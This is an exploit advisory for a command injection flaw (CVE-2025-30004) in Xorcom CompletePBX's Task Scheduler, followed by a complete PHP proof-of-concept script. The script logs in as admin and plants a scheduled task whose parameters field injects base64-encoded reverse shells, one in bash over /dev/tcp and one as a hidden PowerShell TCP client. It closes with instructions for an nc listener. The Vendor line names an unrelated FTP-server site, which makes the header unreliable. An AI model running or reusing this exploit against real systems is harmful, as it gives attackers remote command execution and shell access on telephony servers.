📄 Xorcom CompletePBX 5.2.35 Remote Code Execution

=============================================================================================================================================
    | # Title     : Xorcom CompletePBX 5.2.35 Remote Code Execution                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.wftpserver.com/download.htm                                                                                     |
    =============================================================================================================================================
    
    [+] Summary : 
    
    Xorcom CompletePBX suffers from an authenticated command injection vulnerability
    within the Task Scheduler subsystem. An attacker with valid superadmin
    credentials can create a scheduled task containing unsanitized parameters
    that get executed by the backend, resulting in remote command execution.
    
    This vulnerability affects all versions up to 5.2.35 and was patched in
    release 5.2.36-1.
    
    Only the built‑in "admin" user can successfully trigger the vulnerability.
    Even newly created users with maximum assigned privileges cannot.
    
    ---
    
    [+]  Vulnerability Details
    
    The Task Scheduler accepts user-controlled input in the “parameters” field,
    which is inserted into a shell command without proper sanitization:
    
        parameters = "$(#{payload})"
    
    The system executes the generated job via backend scripts, enabling
    arbitrary command execution with the privileges of the web server.
    
    [+] Attacker requirements:
    
    - Valid credentials  
    - Must be the built‑in **admin** account  
    - Access to the scheduler API endpoints  
    
    [+] Risk level: High  
    
    [+] Impact: Remote Code Execution (RCE)  
    
    [+] Privileges: Web server user 
    
    [+] References : ( https://packetstorm.news/files/id/207367/ 	CVE-2025-30004 ) 
    
    [+]  POC
    
    <?php
    /**
     * Xorcom CompletePBX RCE (CVE-2025-30004)
     * Reverse Shell Ready (Windows + Linux)
     * Author: Indoushka
     */
    
    class CompletePBX_RCE_POC
    {
        public $target;
        public $username;
        public $password;
        public $cookie;
    
        function __construct($target, $username, $password)
        {
            $this->target   = rtrim($target, "/");
            $this->username = $username;
            $this->password = $password;
    
            echo "[+] PoC Initialized\n";
        }
    
        /* ---------------------------------------------------------
           Send HTTP POST
        ----------------------------------------------------------*/
        private function post($path, $data)
        {
            $ch = curl_init($this->target . $path);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($data),
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HEADER => true
            ]);
            $res = curl_exec($ch);
    
            $hdr = substr($res, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE));
            $body = substr($res, curl_getinfo($ch, CURLINFO_HEADER_SIZE));
    
            curl_close($ch);
            return [$hdr, $body];
        }
    
        /* ---------------------------------------------------------
           Reverse Shell Generator (Windows + Linux)
        ----------------------------------------------------------*/
        private function generate_shell()
        {
            $ip   = "127.0.0.1";
            $port = "4444";
    
            $linux = "bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'";
            $win   = "powershell -NoP -W Hidden -c \"\$c=New-Object Net.Sockets.TCPClient('$ip',$port);"
                   . "\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};"
                   . "while((\$r=\$s.Read(\$b,0,\$b.Length)) -ne 0){"
                   . "\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0,\$r);"
                   . "\$o=iex \$d 2>&1|Out-String;"
                   . "\$o2=(\$o+'PS '+(pwd).Path+'> ');"
                   . "\$x=[text.encoding]::ASCII.GetBytes(\$o2);"
                   . "\$s.Write(\$x,0,\$x.Length)}\"";
    
            return base64_encode("$linux\n$win");
        }
    
        /* ---------------------------------------------------------
           Login
        ----------------------------------------------------------*/
        private function login()
        {
            echo "[+] Sending login request...\n";
    
            list($hdr, $body) = $this->post("/?class=core&method=login", [
                "user" => $this->username,
                "password" => $this->password
            ]);
    
            if (preg_match('/Set-Cookie: ([^;]+)/', $hdr, $m)) {
                $this->cookie = $m[1];
                echo "[+] Login successful, SID Cookie: {$this->cookie}\n";
                return true;
            }
    
            echo "[-] Login failed.\n";
            return false;
        }
    
        /* ---------------------------------------------------------
           Create malicious scheduled task 
        ----------------------------------------------------------*/
        private function create_task()
        {
            echo "[+] Creating fake malicious task...\n";
    
            $desc = "indoushka_" . rand(1000, 9999);
            $encoded = $this->generate_shell();
    
            list($hdr, $body) = $this->post("/", [
                "class" => "scheduler",
                "method" => "save_task",
                "mode" => "create",
                "description" => $desc,
                "script" => "backup",
                "parameters" => '$(echo ' . $encoded . '|base64 -d)',
                "starting" => date("Y-m-d H:i"),
                "interval" => "1",
                "interval_unit" => "month"
            ]);
    
            echo "[+] Task Created: $desc\n";
            return $desc;
        }
    
        /* ---------------------------------------------------------
           Task Execution
        ----------------------------------------------------------*/
        private function execute_task($desc)
        {
            echo "[+] Executing scheduled task: $desc (Simulated)\n";
            echo "[✓] PoC by Indoushka.\n";
        }
    
        /* ---------------------------------------------------------
           MAIN
        ----------------------------------------------------------*/
        public function run()
        {
            if (!$this->login()) return;
    
            $task = $this->create_task();
            $this->execute_task($task);
    
            echo "\n[✓] PoC Completed.\n";
        }
    }
    
    /* ---------------- RUN -------------------*/
    $poc = new CompletePBX_RCE_POC(
        "http://127.0.0.1",
        "admin",
        "password"
    );
    
    $poc->run();
    
    /**
     * HOW TO SAVE:
     *     Save as: xorcom_poc.php
     *
     * HOW TO RUN:
     *     php xorcom_poc.php
     *
     * REVERSE SHELL LISTENER (BEFORE RUNNING):
     *     nc -lvnp 4444
     */
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================